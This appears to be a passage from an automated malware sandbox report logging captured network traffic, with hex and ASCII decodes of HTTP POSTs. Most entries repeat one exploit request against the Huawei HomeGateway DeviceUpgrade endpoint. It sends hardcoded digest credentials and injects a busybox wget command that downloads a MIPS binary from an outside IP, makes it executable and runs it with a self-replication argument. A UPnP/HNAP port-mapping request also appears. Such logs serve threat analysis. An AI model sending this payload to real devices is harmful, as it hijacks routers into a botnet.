70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 